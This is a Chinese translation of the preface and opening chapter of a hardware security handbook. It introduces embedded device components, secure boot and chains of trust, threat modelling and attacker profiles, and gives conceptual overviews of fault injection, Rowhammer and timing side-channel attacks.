硬件黑客手册-全-

硬件黑客手册(全)

原文:zh.annas-archive.org/md5/ee307b3011b1b5972a7fe480f6f16f34

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

曾几何时,在一个不远的宇宙里,计算机是巨大的机器,充满了大房间,需要小型团队来操作。随着技术的不断进步,将计算机放入小空间变得越来越可行。大约在 1965 年,阿波罗导航计算机足够小,可以被带入太空,并为宇航员提供计算功能以及对阿波罗模块的控制。这台计算机可以被认为是最早的嵌入式系统之一。如今,绝大多数生产的处理器芯片都是嵌入式的——用于手机、汽车、医疗设备、关键基础设施和“智能”设备。甚至你的笔记本电脑也有大量这样的芯片。换句话说,每个人的生活都受这些小芯片的影响,这意味着理解它们的安全性至关重要。

那么,什么样的设备才能被称为嵌入式设备呢?嵌入式设备是足够小的计算机,可以被集成到它们控制的设备结构中。这些计算机通常以微处理器的形式存在,通常包括内存和用于控制嵌入其中设备的接口。嵌入式一词强调它们被用在某些物体内部的深层位置。有时候,嵌入式设备小到足以装进信用卡的厚度,提供管理交易所需的智能。嵌入式设备的设计目标是使其几乎对用户不可察觉,用户只能有限或没有访问其内部结构的权限,也无法修改其软件。

这些设备到底是做什么的?嵌入式设备被广泛应用于各种场景。它们可以在智能电视中托管完整的安卓操作系统(OS),或者出现在汽车的电子控制单元(ECU)中,运行实时操作系统。它们可以以 Windows 98 PC 的形式出现在磁共振成像(MRI)扫描仪中。工业环境中的可编程逻辑控制器(PLC)也使用它们,甚至在互联网连接的牙刷中提供控制和通信功能。

限制设备内部结构访问的原因通常与保修、安全性和法规合规性有关。当然,这种不可接触性使得逆向工程变得更加有趣、复杂和吸引人。嵌入式系统具有多种不同的电路板设计、处理器和操作系统,因此有很多可以探索的内容,逆向工程的挑战也很广泛。本书旨在通过提供对系统及其组件设计的理解,帮助读者应对这些挑战。它通过探索名为电力侧信道攻击和故障攻击的分析方法,推动了嵌入式系统安全的极限。

许多实时嵌入式系统确保设备的安全使用,或者可能具有触发器,如果在其预期工作环境之外被激活,可能会造成损害。我们鼓励你在实验室里玩二手的 ECU,但我们不鼓励你在驾驶汽车时玩 ECU!玩得开心,小心点,别伤到自己或他人。

在本书中,你将学习如何从单纯欣赏手中的设备,进而了解其安全优缺点。本书展示了这个过程的每个步骤,并提供足够的理论背景,以帮助你理解该过程,重点展示如何亲自进行实际实验。我们涵盖了整个过程,因此你将学到的不仅仅是学术文献和其他资料中的内容,而是那些同样重要且相关的知识,例如如何识别印刷电路板(PCB)上的元件。我们希望你会喜欢!

嵌入式设备的外观

嵌入式设备的设计功能适应于其所嵌入的设备。在开发过程中,安全性、功能性、可靠性、体积、功耗、上市时间、成本,甚至安全性等方面常常需要做出取舍。实施的多样性使得大多数设计具有独特性,以满足特定应用的要求。例如,在汽车电子控制单元中,对安全性的关注可能意味着多个冗余的中央处理单元(CPU)核心同时计算相同的刹车执行器响应,以便最终仲裁者可以验证它们的独立决策。

安全有时是嵌入式设备的首要功能,例如信用卡。尽管金融安全至关重要,但由于卡片本身必须保持价格可承受,因此会进行成本权衡。新产品的上市时间可能是一个重要的考虑因素,因为公司需要在竞争对手夺取市场主导地位之前进入市场。以互联网连接的牙刷为例,安全性可能被视为低优先级,并在最终设计中退居次要地位。

随着廉价现成硬件的普及,嵌入式系统的开发趋向于不再使用定制部件。专用集成电路(ASIC)正被通用微控制器取代。定制操作系统的实现被 FreeRTOS、裸机 Linux 内核,甚至完整的 Android 堆栈所取代。现代硬件的强大性能使得一些嵌入式设备相当于平板电脑、手机,甚至完整的 PC。

本书旨在适用于你将遇到的大多数嵌入式系统。我们建议你从一个简单的微控制器开发板开始;任何价格在 100 美元以下、最好支持 Linux 的开发板都可以。这将帮助你在转向更复杂的设备或你了解较少或控制较少的设备之前,掌握基本知识。

嵌入式设备的破解方式

假设你有一个设备,其安全要求是不允许第三方代码,但你的目标是无论如何都要在其上运行代码。在考虑进行黑客攻击时,无论出于什么原因,设备的功能和技术实现都会影响攻击的方式。例如,如果设备包含一个完整的 Linux 操作系统并具有开放的网络接口,可能只需通过已知的默认 root 账户密码登录,即可获得完全访问权限。然后,你可以在其上运行你的代码。然而,如果设备有一个执行固件签名验证的微控制器并且所有调试端口都已禁用,这种方法将无法奏效。

为了达到相同的目标,不同的设备需要采用不同的方法。你必须小心地将你的目标与设备的硬件实现相匹配。在本书中,我们通过绘制攻击树来处理这一需求,这是一种进行轻量级威胁建模的方式,有助于可视化并理解达到目标的最佳路径。

什么是硬件攻击?

我们主要关注硬件攻击以及执行它们所需了解的内容,而不是软件攻击,后者在其他地方已有广泛的讨论。首先,让我们澄清一些术语。我们的目标是提供有用的定义,并避免深入讨论所有的例外情况。

设备包括软件和硬件。就我们的目的而言,我们将软件视为由位组成,将硬件视为由原子组成。我们认为固件(嵌入式设备中的代码)与软件相同。

在谈论硬件攻击时,很容易将使用硬件的攻击与针对硬件的攻击混淆。当我们意识到也有软件目标和软件攻击时,这变得更加复杂。以下是描述各种组合的一些例子:

  • 我们可以通过扰动供电电压来攻击设备的环形振荡器(硬件目标)(硬件攻击)。

  • 我们可以在 CPU 上注入电压故障(硬件攻击),进而影响正在执行的程序(软件目标)。

  • 我们可以通过在 CPU 上运行 Rowhammer 代码(软件攻击)来翻转内存中的位(硬件目标)。

  • 为了完整性,我们可以对网络守护进程(软件目标)执行缓冲区溢出(软件攻击)。

在本书中,我们讨论的是硬件攻击,因此目标可能是软件或硬件。请记住,硬件攻击通常比软件攻击更难执行,因为软件攻击需要的物理干预较少。然而,当设备可能抵御软件攻击时,硬件攻击可能会成为成功的、更便宜(并且在我们看来,绝对更有趣)选择。远程攻击(设备不在手边时)仅限于通过网络接口访问,而如果硬件可以物理接触,则可以执行所有类型的攻击。

总结来说,嵌入式设备有很多不同类型,每个设备都有自己的功能、权衡、安保目标和实现方式。正是这种多样性,使得本书将教授一系列硬件攻击策略。

谁该阅读本书?

在本书中,我们假设你扮演的是一个攻击者的角色,目的是通过破坏安全来做些好事。我们还假设你能够使用一些相对便宜的硬件,比如简单的示波器和焊接设备,并且你有一台安装了 Python 的计算机。

我们不会假设你有激光设备、粒子加速器或其他超出业余爱好者预算范围的物品。如果你确实有机会接触到这些设备,可能在本地大学实验室中,你应该能够从本书中获得更多的收获。关于嵌入式设备目标,我们假设你能物理接触到它们,并且你有兴趣访问存储在设备中的资产。最重要的是,我们假设你对学习新技术感兴趣,拥有反向工程的思维方式,并且已经准备好深入研究!

关于本书

下面是你在本书中将找到的内容简要概述:

第一章:口腔卫生:嵌入式安全简介

重点介绍了嵌入式系统的各种实现架构和一些威胁建模,并讨论了各种攻击方式。

第二章:伸手触摸我,触摸你:硬件外设接口

讨论了各种端口和通信协议,包括理解信号和测量所需的电气基础知识。

第三章:勘察现场:识别组件和收集信息

描述了如何收集关于目标的信息,解读数据表和原理图,识别 PCB 上的组件,并提取和分析固件镜像。

第四章:瓷器店里的公牛:故障注入介绍

介绍了故障攻击背后的思想,包括如何识别故障注入点、准备目标、创建故障注入设置,并集中精力调整有效参数。

第五章:不要舔探针:如何注入故障

讨论了时钟、电压、电磁、激光和人体偏置等方面。

故障注入,以及进行这些操作所需的工具,你需要自己制造或购买的工具。

第六章:测试台时间:故障注入实验室

提供了三个实用的故障注入实验,适合在家中进行。

第七章:标记位置:Trezor One 钱包内存转储

以 Trezor One 钱包为例,展示如何利用故障注入从一个易受攻击的固件版本中提取密钥。

第八章:我掌握着电力:功率分析介绍

介绍了时序攻击和简单的功率分析,并展示了如何利用这些方法提取密码和加密密钥。

第九章:测试台时间:简单功率分析

带你从搭建基础硬件设置开始,直到完成 SPA 攻击所需的一切,全部在家用实验室中实现。

第十章:差异化处理:差分功率分析

解释了差分功率分析,并展示了功率消耗中的微小波动如何导致密码学密钥的提取。

第十一章:深入探讨:高级功率分析

提供了一系列技术手段,帮助你提升功率分析能力:从实用的测量技巧到跟踪设置过滤、信号分析、处理和可视化。

第十二章:测试时间:差分功率分析

以一个带有特殊引导程序的物理目标为例,使用不同的功率分析技术破解各种秘密。

第十三章:不是开玩笑:真实案例

总结了在真实目标上执行的多个已发布的故障和侧信道攻击。

第十四章:想想孩子们:对策、认证与安全字节

讨论了多种能够减轻本书中提到的风险的对策,并涉及设备认证以及接下来该做什么。

附录 A:用光你的信用卡:搭建测试实验室

通过精彩的揭秘让你垂涎欲滴,展示了你可能需要的所有工具,甚至更多。

附录 B:你们的基地已经归我们所有:常见引脚排列

提供了一个备忘单,列出了你常遇到的几种流行引脚排列。

第一章:口腔卫生:嵌入式安全简介

嵌入式设备的种类繁多,这使得研究它们变得非常有趣,但同样的多样性也可能让你对又一种新的形状、封装或奇怪的集成电路(IC)感到困惑,并且不知道它与安全性之间的关系是什么。本章从各种硬件组件和它们上运行的软件类型开始。接着我们讨论攻击者、各种攻击、资产和安全目标,以及防御措施,概述安全威胁是如何建模的。我们描述了创建攻击树的基础知识,既可以用于防御目的(寻找防御措施的机会),也可以用于进攻目的(推理出最容易的攻击方式)。最后,我们以关于硬件领域协调披露的思考作为结尾。

硬件组件

让我们从查看你可能会遇到的嵌入式设备的物理实现相关部分开始。我们将涉及你在首次打开设备时会看到的主要部分。

嵌入式设备内部有一个印刷电路板(PCB),通常包括以下硬件组件:处理器、易失性存储器、非易失性存储器、模拟组件和外部接口(见图 1-1)。

f01001

图 1-1:嵌入式设备的典型 PCB

计算的魔力发生在处理器(中央处理单元,CPU)中。在图 1-1 中,处理器嵌入在系统芯片(SoC)*的中央 1 位置。通常,处理器执行主软件和操作系统(OS),而 SoC 包含额外的硬件外设。

易失性存储器 2 通常以动态 RAM(DRAM)芯片的形式在分立封装中实现,它是处理器在运行时使用的存储器;当设备断电时,它的内容会丢失。DRAM 存储器的工作频率接近处理器频率,并且需要宽总线以跟上处理器的速度。

在图 1-1 中,非易失性存储器 3 是嵌入式设备存储在设备断电后仍需保持的数据的地方。这种存储方式可以是 EEPROM、闪存,甚至是 SD 卡和硬盘。非易失性存储器通常包含启动代码以及存储的应用程序和保存的数据。

尽管模拟组件(如电阻器、电容器和电感器)本身在安全性方面并不特别有趣,但它们是旁路分析故障注入攻击的起点,我们将在本书中详细讨论这些内容。在典型的 PCB 中,模拟组件通常是那些看起来不像芯片的小黑色、棕色和蓝色部件,它们的标签可能以“C”、“R”或“L”开头。

外部接口为 SoC 提供了与外界连接的方式。这些接口可以连接到其他商用现成(COTS)芯片,作为 PCB 系统互联的一部分。例如,这包括高速度的总线接口到 DRAM 或闪存芯片,以及低速接口,如 I2C 和 SPI 连接到传感器。外部接口还可以作为 PCB 上的连接器和针脚头暴露出来;例如,USB 和 PCI Express(PCIe)是连接外部设备的高速接口的例子。这是所有通信发生的地方;例如,与互联网、本地调试接口或传感器和执行器的通信。(有关与设备接口的更多细节,请参见第二章。)

微型化使得 SoC 能够拥有更多的知识产权(IP)块。图 1-2 显示了一个英特尔 Skylake SoC 的例子。

f01002

图 1-2:英特尔 Skylake SoC(Fritzchens Fritz 公共领域)

这个芯片包含多个核心,包括主要的中央处理单元(CPU)核心、英特尔融合安全与管理引擎(CSME)、图形处理单元(GPU)等。SoC 内部总线比外部总线更难访问,这使得 SoC 在黑客攻击中的起点并不方便。SoC 可能包含以下 IP 块:

多个(微)处理器和外围设备

例如,一个应用处理器、一个加密引擎、一个视频加速器和 I2C 接口驱动程序。

易失性内存

以堆叠在 SoC 上的 DRAM IC、SRAM 或寄存器组的形式存在。

非易失性内存

以芯片内只读存储器(ROM)、一次性可编程(OTP)熔丝、EEPROM 和闪存的形式存在。OTP 熔丝通常会编码关键的芯片配置数据,例如身份信息、生命周期阶段以及反回滚版本信息。

内部总线

虽然技术上只是一些微小的导线,SoC 内不同组件之间的互联实际上是一个重要的安全问题。可以把这个互联看作是 SoC 中两个节点之间的网络。作为网络,内部总线可能会受到伪装、嗅探、注入以及所有形式的中间人攻击的威胁。高级 SoC 包括多级访问控制,以确保 SoC 中的各个组件彼此“防火墙”隔离。

这些组件每一个都是攻击面的一部分,是攻击者的起点,因此具有一定的关注度。在第二章,我们将更深入地研究这些外部接口,在第三章,我们将探讨如何查找关于各种芯片和组件的信息。

软件组件

软件是 CPU 指令和数据的结构化集合,由处理器执行。就我们而言,软件是否存储在 ROM、闪存或 SD 卡上并不重要——虽然可能会让我们年长的读者失望的是,我们不会讨论穿孔卡。嵌入式设备可以包含以下一些(或没有)类型的软件。

初始启动代码

初始启动代码是处理器在首次通电时执行的一组指令。初始启动代码由处理器制造商生成并存储在 ROM 中。启动 ROM 代码 的主要功能是准备主处理器执行后续代码。通常,它允许引导加载程序在现场执行,包括用于认证引导加载程序或支持备用引导加载程序源(例如通过 USB)的例程。它还用于制造过程中的支持,包括个性化、故障分析、调试和自检。启动 ROM 中可用的功能通常通过保险丝进行配置,保险丝是集成在硅中的一次性可编程位,它在处理器离开制造设施时提供永久禁用某些启动 ROM 功能的选项。

启动 ROM 具有与常规代码不同的属性:它是不可变的,它是系统上运行的第一段代码,且必须能够访问完整的 CPU/SoC,以支持制造、调试和芯片故障分析。开发 ROM 代码需要非常小心。由于它是不可变的,通常无法修补在制造后发现的 ROM 漏洞(尽管某些芯片支持通过保险丝进行ROM 修补)。启动 ROM 在任何网络功能激活之前执行,因此利用任何漏洞需要物理访问。在启动阶段被利用的漏洞通常会导致直接访问整个系统。

考虑到制造商在可靠性和声誉方面的高风险,一般来说,启动 ROM 代码通常较小、简洁且经过良好验证(至少应该是这样)。

引导加载程序

引导加载程序 在启动 ROM 执行后初始化系统。它通常存储在非易失性但可变的存储介质上,因此可以在现场更新。PCB 的原始设备制造商(OEM)生成引导加载程序,使其能够初始化 PCB 级组件。它还可以选择性地锁定一些安全功能,除了其加载和认证操作系统或受信执行环境(TEE)的主要任务外。此外,引导加载程序还可能提供设备配置或调试的功能。作为设备上第一个可变的代码,引导加载程序是一个有吸引力的攻击目标。安全性较差的设备可能拥有不认证引导加载程序的启动 ROM,从而允许攻击者轻松替换引导加载程序代码。

引导加载程序通过数字签名进行身份验证,这些签名通常通过将公钥(或公钥的哈希值)嵌入引导 ROM 或保险丝中来验证。由于这个公钥很难被修改,因此它被认为是信任根。制造商使用与公钥关联的私钥对引导加载程序进行签名,因此引导 ROM 代码可以验证并信任制造商是其生产者。一旦引导加载程序被信任,它可以进一步嵌入下一阶段代码的公钥,并提供对下一阶段代码真实性的信任。这个信任链可以一直扩展到运行在操作系统上的应用程序(见图 1-3)。

f01003

图 1-3:信任链—引导加载程序阶段与验证

从理论上讲,创建这个信任链似乎非常安全,但该方案容易受到多种攻击的威胁,包括利用验证漏洞、故障注入、时间攻击等。请参阅 Jasper 在 2019 年 Hardwear.io USA 大会上的讲座《十大安全启动错误》,该讲座可以在 YouTube 上观看(www.youtube.com/watch?v=B9J8qjuxysQ/),以了解十大错误概述。

受信执行环境操作系统与受信应用程序

在撰写本文时,TEE 在较小的嵌入式设备中是一种罕见的特性,但在基于如 Android 等系统的手机和平板电脑中非常常见。其理念是通过将整个 SoC 划分为“安全”和“不安全”世界来创建一个“虚拟”安全 SoC。这意味着 SoC 上的每个组件要么仅在安全世界中活动,要么仅在不安全世界中活动,或者能够在两者之间动态切换。例如,一个 SoC 开发人员可能会选择将加密引擎放在安全世界中,将网络硬件放在不安全世界中,并允许主处理器在两者之间切换。这可以使系统在安全世界中加密网络数据包,然后通过不安全世界——即“普通世界”——进行传输,从而确保加密密钥永远不会到达主操作系统或处理器上的用户应用程序。

在手机和平板电脑上,TEE 包括其自己的操作系统,可以访问所有安全世界组件。丰富执行环境(REE)包括“普通世界”操作系统,例如 Linux 或 iOS 内核和用户应用程序。

目标是将所有不安全且复杂的操作,如用户应用程序,保留在不安全世界中,而将所有安全操作,如银行应用程序,保留在安全世界中。这些安全应用程序被称为受信应用程序(TAs)。TEE 内核是一个攻击目标,一旦被攻破,通常会提供对安全世界和不安全世界的完全访问。

固件镜像

固件是运行在 CPU 或外设上的低级软件。设备中的简单外设通常完全基于硬件,但更复杂的外设可能包含运行固件的微控制器。例如,大多数 Wi-Fi 芯片需要在上电后加载固件“二进制块”。对于运行 Linux 的设备,查看/lib/firmware 目录可以看到运行 PC 外设时涉及的固件数量。与任何软件一样,固件可能非常复杂,因此容易受到攻击。

主要操作系统内核和应用程序

嵌入式系统中的主要操作系统可以是通用操作系统,如 Linux,或者是实时操作系统,如 VxWorks 或 FreeRTOS。智能卡可能包含运行 Java Card 应用程序的专有操作系统。这些操作系统可以提供安全功能(例如,加密服务)并实现进程隔离,这意味着如果一个进程被攻破,另一个进程可能仍然保持安全。

操作系统为软件开发者提供了便利,他们可以依赖现有的广泛功能,但对于较小的设备来说,这可能不是一个可行的选项。非常小的设备可能没有操作系统内核,而只运行一个裸机程序来管理它们。这通常意味着没有进程隔离,因此一旦某个功能被攻破,整个设备都会受到影响。

硬件威胁建模

威胁建模是任何系统防御中的重要任务之一。防御系统的资源是有限的,因此分析如何最佳地使用这些资源以最小化攻击机会至关重要。这是通向“足够好”安全性的道路。

在进行威胁建模时,我们大致做以下几步:从防御角度出发,识别系统的重要资产,并问自己这些资产应如何被保护。另一方面,从攻击角度出发,我们可以识别潜在的攻击者、他们的目标以及他们可能选择尝试的攻击方式。这些考虑有助于了解应该保护什么以及如何保护最有价值的资产。

威胁建模的标准参考书是 Adam Shostack 的《威胁建模:设计安全性》(Wiley,2014)。威胁建模这一广泛领域非常引人入胜,因为它涵盖了从开发环境到制造、供应链、运输以及运营生命周期的安全性。在这里,我们将讨论威胁建模的基本方面,并将其应用于嵌入式设备安全,重点关注设备本身。

什么是安全?

牛津英语词典将安全定义为“免受危险或威胁的状态”。这个相当二元的定义暗示,唯一安全的系统要么是没人愿意攻击的系统,要么是能够防御所有威胁的系统。前者,我们称之为砖头,因为它无法再启动;后者,我们称之为独角兽,因为独角兽并不存在。没有完美的安全性,因此你可以认为任何防御都不值得付出努力。这种态度被称为安全虚无主义。然而,这种态度忽视了一个重要的事实,即每一次攻击都伴随着成本-收益的权衡。

我们都明白金钱方面的成本和收益。对于攻击者来说,成本通常与购买或租赁实施攻击所需的设备有关。收益则表现为欺诈性购买、被盗汽车、勒索软件赎金以及老丨虎丨机现金提取,仅举几例。

然而,执行攻击的成本和收益并不仅限于金钱。一个显而易见的非金钱成本是时间;一个不太明显的成本是攻击者的挫败感。例如,一个为了娱乐而进行黑客攻击的攻击者可能会在面对挫折时简单地转向另一个目标。这里肯定有一个防御的教训。有关这个想法的更多内容,请参见 Chris Domas 在 DEF CON 23 上的演讲:“Repsych:反向工程中的心理战”。非金钱的收益包括获取个人身份信息和从会议出版物或成功破坏中获得的名声(尽管这些收益也可能变现)。

在本书中,我们认为如果攻击的成本高于收益,则一个系统是“足够安全”的。一个系统的设计可能并不坚不可摧,但它应该足够坚固,以至于没有人能够将整个攻击过程推进到成功。总之,威胁建模是确定如何在特定设备或系统中达到“足够安全”状态的过程。接下来,我们来看看几个影响攻击收益和成本的方面。

穿越时间的攻击

美国国家安全局(NSA)有句名言:“攻击总是越来越好,而不是变得更差。”换句话说,攻击随着时间的推移变得更便宜、更强大。这个原理尤其适用于较长的时间尺度,因为公众对目标的了解增加、计算能力的成本下降以及黑客硬件的易得性。芯片从初步设计到最终生产可能需要几年时间,接着至少需要一年时间将芯片集成到设备中,导致芯片在商业环境中投入使用时通常需要三到五年的时间。这个芯片可能需要在几年内保持正常工作(例如物联网产品),或者十年(如电子护照),甚至二十年(如汽车和医疗环境)。因此,设计师需要考虑未来 5 到 25 年内可能发生的任何攻击。这显然是不可能的,因此通常需要推迟软件修复以缓解无法修补的硬件问题。换句话说,25 年前,智能卡可能很难被破解,但通过本书的学习后,25 年的智能卡应该几乎没有任何抵抗力来提取其密钥。

成本差异也出现在较短的时间尺度上,从初始攻击到重复攻击之间的差距。识别阶段涉及识别漏洞。紧接着是利用阶段,即利用已识别的漏洞来攻击目标。在(可扩展的)软件漏洞的情况下,识别成本可能很高,但利用成本几乎为零,因为攻击可以自动化。而对于硬件攻击,利用成本仍然可能很高。

在效益方面,攻击通常具有一个有限的有效期。在今天破解 Commodore 64 的复制保护几乎没有任何经济价值。你最喜欢的体育比赛的视频流只有在比赛进行时和结果未揭晓之前才具有高价值。比赛结束后的第二天,其价值显著降低。

攻击的可扩展性

软件和硬件攻击的识别阶段和利用阶段在成本和效益上有显著区别。硬件利用阶段的成本可能与识别阶段相当,而软件攻击则不常见这种情况。例如,设计得很安全的智能卡支付系统使用了多样化的密钥,使得在一张卡上找到密钥并不能让你了解另一张卡的密钥。如果卡片安全性足够强,攻击者需要数周或数月的时间和昂贵的设备才能在每张卡上进行几千美元的欺诈性购买。为了获得下一个几千美元,他们必须为每张新卡重复这一过程。如果卡片这么强,显然对于以经济利益为动机的攻击者而言没有商业可行性;这种攻击的可扩展性很差。

另一方面,考虑一下 Xbox 360 改装芯片。图 1-4 显示了 Xenium ICE 改装芯片,左侧是白色 PCB。

f01004

图 1-4:Xenium ICE 改装芯片在 Xbox 中的应用,用于绕过代码验证(图片来源:Helohe,CC BY 2.5 许可证)

图 1-4 中左侧的 Xenium ICE 改装芯片被焊接到 Xbox 主板上,以执行攻击。该板通过自动化故障注入攻击加载任意固件。这种硬件攻击非常容易执行,以至于销售改装芯片本身就可以成为一项商业活动;因此,我们称其为“具有良好的扩展性”(第十三章提供了该攻击的详细描述)。

硬件攻击者受益于规模经济,但前提是利用成本必须非常低。一个例子是硬件攻击提取可以大规模使用的秘密,比如恢复隐藏在硬件中的主固件更新密钥,从而访问大量固件。另一个例子是一次性操作提取启动 ROM 或固件代码,这样可以暴露出可反复利用的系统漏洞。

最后,对于一些硬件攻击而言,规模并不重要。例如,黑客攻击一次就足以获得未加密的数字版权管理(DRM)系统视频副本,然后进行盗版,就像发射一次核导弹或解密总统的税务申报表一样。

攻击树

攻击树可视化了攻击者从攻击面到破坏资产能力的步骤,帮助我们系统地分析攻击策略。我们在攻击树中考虑的四个要素是攻击者、攻击、资产(安全目标)和对策(见图 1-5)。

f01005

图 1-5:威胁建模要素之间的关系

攻击者画像

画像攻击者非常重要,因为攻击者有动机、资源和限制。你可以说僵尸网络或蠕虫是没有动机的非人类玩家,但蠕虫的初始启动是由一个人按下回车键时的喜悦、愤怒或贪婪预期驱动的。

攻击者画像在很大程度上取决于特定设备所需的攻击类型。攻击本身决定了所需的设备和费用;这两个因素在一定程度上帮助画像攻击者。例如,政府想要解锁一部手机,这是一个代价高昂、动机强烈的攻击,动机可能是间谍活动或国家安全。

以下是一些常见的攻击场景,以及相应攻击者的动机、特征和能力:

犯罪企业

经济利益主要驱动着犯罪企业攻击。最大化利润需要规模化。正如之前所讨论的,硬件攻击可能是可扩展攻击的根源,这就需要一个设备齐全的硬件攻击实验室。例如,考虑对付费电视行业的攻击,海盗们有着合理的商业案例,能够 justify 数百万美元的设备投入。

行业竞争

在这个安全场景中,攻击者的动机可以从竞争分析(一个无害的委婉说法,用来形容逆向工程,看看竞争对手在做什么),到调查知识产权侵权,再到收集创意和灵感以改进自己的相关产品。通过破坏竞争对手的品牌形象进行间接破坏也是一种类似的手段。这类攻击者不一定是个人,可能是某个团队的一部分,受雇于(可能是地下的)或外部聘请的公司,他们拥有所需的硬件工具。

国家级攻击者

恶意破坏、间谍活动和反恐是常见的动机。国家级攻击者可能拥有所有必要的工具、知识和时间。引用詹姆斯·米肯斯的著名话语,如果摩萨德(以色列国家情报局)盯上了你,不管你采取什么反制措施,“你仍然会被摩萨德盯上。”

道德黑客

道德黑客可能构成威胁,但其风险有所不同。他们可能拥有硬件技能,并能访问家中的基本工具,或者在本地大学拥有昂贵的工具,使他们的装备和恶意攻击者一样强大。道德黑客被吸引去解决他们认为能带来改变的问题。他们可以是业余爱好者,驱动他们的是对事物工作原理的理解,或者是那些努力成为最好或者因其能力而著名的人。他们也可能是通过技能谋生的研究人员,或者是强烈支持或反对某些事业的爱国者或抗议者。道德黑客不一定没有风险。曾有一家智能锁制造商向我们抱怨,他们公司的一大担忧是最终成为道德黑客活动中的一个例子,他们认为这会影响品牌的信任度。实际上,大多数罪犯会使用砖块来“破解”锁具,所以锁具客户遭遇黑客攻击的风险很小,但“别担心,他们会用砖块而不是电脑”这种宣传口号,在公关活动中并不奏效。

外行攻击者

这种攻击者通常是个人或小团体,他们通过伤害其他个人、公司或基础设施来报复某些原因。然而,他们不一定具备足够的技术能力。其目标可能是通过敲诈或出售商业机密获得经济利益,或者仅仅是为了伤害他人。由于知识和预算的限制,这类攻击者成功进行硬件攻击的可能性通常较低。(对于所有外行人来说,请不要私信我们询问如何破解你前任的 Facebook 账号。)

确定潜在的攻击者并非易事,这取决于设备的类型。通常,当考虑到具体的产品而非产品的组件时,更容易识别攻击者类型。例如,黑客通过互联网攻击某品牌的 IoT 咖啡机,使其泡出较弱的咖啡,这一威胁可以与上述不同类型的攻击者相关联。随着设备供应链层次的提高,攻击者画像变得更加复杂。IoT 设备中的某个组件可能是由 IP 供应商提供的高级加密标准(AES)加速器。这个加速器集成在 SoC 中,再集成到 PCB 上,最终制造成设备。那么 AES 加速器的 IP 供应商如何识别使用该加速器的 1,001 种不同设备上的威胁呢?供应商需要更多地关注攻击类型,而不是攻击者(例如,通过实施抵御侧信道攻击的措施)。

在设计设备时,我们强烈建议你向组件供应商询问他们防范了哪些类型的攻击。没有这些知识的威胁建模无法做到彻底,更重要的是,如果不向供应商询问,他们也不会有动力改进他们的安全措施。

攻击类型

硬件攻击显然是针对硬件的,例如打开联合测试行动组(JTAG)调试端口,但它们也可能针对软件,例如绕过密码验证。本书不涉及软件对软件的攻击,但它确实涉及使用软件攻击硬件。

如前所述,攻击面是攻击者的起点——硬件和软件的直接可访问部分。考虑攻击面时,我们通常假设对设备有完全的物理访问权限。然而,处于 Wi-Fi 范围内(近距离范围)或通过任何网络连接(远程)也可以是攻击的起点。

攻击面可能从 PCB 开始,而一个更熟练的攻击者可能会通过去除封装和微探针技术将攻击面扩展到芯片,如本章后续所述。

硬件上的软件攻击

硬件上的软件攻击使用各种软件控制硬件或监控硬件。硬件上的软件攻击有两类子攻击:故障注入和侧信道攻击。

故障注入

故障注入是将硬件推至导致处理错误的极限的做法。单独的故障注入并不是攻击;是故障的效果被利用后才会变成攻击。攻击者试图利用这些人为产生的错误。例如,他们可以通过绕过安全检查获得特权访问。故障注入并利用该故障效果的做法称为故障攻击

DRAM 击打是一种著名的故障注入技术,其中 DRAM 内存芯片以一种不自然的访问模式轰击三个相邻的行。通过反复激活外部的两行,中心的受害行会发生位翻转。Rowhammer 攻击通过引发 DRAM 位翻转来利用受害行,导致这些行成为页表。页表是操作系统维护的结构,限制应用程序的内存访问。通过更改这些页表中的访问控制位或物理内存地址,应用程序可以访问通常无法访问的内存,这很容易导致特权提升。诀窍是调整内存布局,使得包含页表的受害行位于攻击者控制的行之间,然后从高级软件激活这些行。这种方法已在 x86 和 ARM 处理器上得到了验证,从低级软件到 JavaScript 都可以实现。有关更多信息,请参见 Victor van der Veen 等人所著的《Drammer: Deterministic Rowhammer Attacks on Mobile Platforms》。

CPU 超频是另一种故障注入技术。超频 CPU 会导致一种暂时性故障,称为时序故障。这种故障可能表现为 CPU 寄存器中的位错误。CLKSCREW就是一个 CPU 超频攻击的例子。由于手机上的软件可以控制 CPU 频率以及核心电压,通过降低电压并短暂提高 CPU 频率,攻击者可以诱使 CPU 发生故障。通过正确地把握时机,攻击者可以在 RSA 签名验证中制造故障,从而加载不正确签名的任意代码。更多信息,请参见 Adrian Tang 等人所著的《CLKSCREW: Exposing the Perils of Security-Oblivious Energy Management》。

你可以在任何软件能够迫使硬件超出正常操作参数的地方找到这些漏洞。我们预计未来会继续出现更多变种。

辅助通道攻击

软件时序与处理器完成软件任务所需的墙钟时间有关。通常,任务越复杂,需要的时间越长。例如,排序 1000 个数字比排序 100 个数字需要更多的时间。攻击者利用软件执行时间作为攻击手段并不意外。在现代嵌入式系统中,攻击者很容易测量执行时间,甚至精确到一个时钟周期的分辨率!这就导致了时序攻击,攻击者试图将软件执行时间与内部秘密信息的值关联起来。

例如,C 语言中的strcmp函数用于判断两个字符串是否相同。它逐个比较字符,从前到后,当遇到不同的字符时,就会终止。在使用strcmp将输入的密码与存储的密码进行比较时,strcmp的执行时长泄露了密码的一些信息,因为它会在找到攻击者提供的密码与保护设备的密码之间的第一个不匹配字符时终止。因此,strcmp的执行时间泄露了密码中最初正确字符的数量。(我们在第八章中详细介绍了这种攻击,并在第十四章中描述了正确实现这种比较的方法。)

RAMBleed是另一种可以通过软件发起的侧信道攻击,Kwong 等人在《RAMBleed:在不访问内存的情况下读取内存中的比特》一文中展示了这种攻击。它利用了类似 Rowhammer 的漏洞来从 DRAM 中读取比特。在 RAMBleed 攻击中,翻转发生在攻击者的行中,基于受害者行中的数据。通过这种方式,攻击者可以观察到另一个进程的内存内容。

微架构攻击

现在你已经理解了时序攻击的原理,请考虑以下内容。现代 CPU 之所以快速,是因为多年来已经识别并实施了大量优化。例如,缓存是基于这样一个前提:最近访问的内存位置很可能会再次被访问。因此,这些内存位置的数据会物理上更靠近 CPU,以便更快地访问。另一个优化的例子源自这样一个见解:将一个数字N与 0 或 1 相乘的结果是显而易见的,因此不需要进行完整的乘法计算,因为答案始终是 0 或N。这些优化是微架构的一部分,微架构是指指令集的硬件实现。

然而,优化速度和安全性常常是对立的。如果某些与机密值相关的优化被启用,可能会泄露数据中的某些值。例如,如果某个未知的K值的NK乘法有时比其他时候更快,那么在速度较快的情况下,K值可能是 0 或 1。或者,如果某个内存区域被缓存,它的访问速度会更快,因此快速访问意味着该区域最近被访问过。

